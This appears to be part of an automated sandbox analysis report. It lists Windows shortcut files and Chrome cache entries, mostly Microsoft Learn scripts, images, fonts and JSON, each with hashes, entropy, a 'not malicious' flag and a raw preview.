Preview:	L..................F.@.. ...$+.,.........W..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........S%.T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 11:23:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.982582832869546
Encrypted:	false
SSDEEP:	48:8K0dNoTtsO+H6idAKZdA1UehBiZUk1W1qeh/y+C:8Kso5Zj9fy
MD5:	65C1642EA2E309C04F32866860A87B9A
SHA1:	C7483D530B839E890221F445F0D3898B0508A824
SHA-256:	7450DBB1A1B9A44CDC8D09A5BBC8C9AE0F23E7C66D01D61953D4B48F0A65D4AC
SHA-512:	5712F7E93F58E6CBA44E47DB407C69DD6180C9C7AF1C8214DF09CFD9A05C3D31653F28EE1961FB21897FEE95FA4CA7DE65A90825BFDA9B1EE67DB595F26873EF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........W..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........S%.T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 26 11:23:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9908935195038437
Encrypted:	false
SSDEEP:	48:8q0dNoTtsO+H6idAKZdA1duTrehOuTbbiZUk5OjqehOuTbRy+yT+:8qso5ZsTYTbxWOvTbRy7T
MD5:	793CA325B1E74F95F16FE3E3EA93AD2A
SHA1:	DCF3D05C2131B96A520E2F118B015BE245129727
SHA-256:	A35F85A87798A2FF767A641B9BD0D4213D492751F713EE0A41CE3904022EB205
SHA-512:	7AE2281D35E5DE396F8C9791EFBFB3E9C03D92FA1C13CCD0C1C881B299DF457FA486446BA4B6A7F4BDDD51CC9534CAD90D68462CC1178D542AEAD8BFEB699A86
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........W..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.Y.b....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.b....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.b..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.b...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........S%.T.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
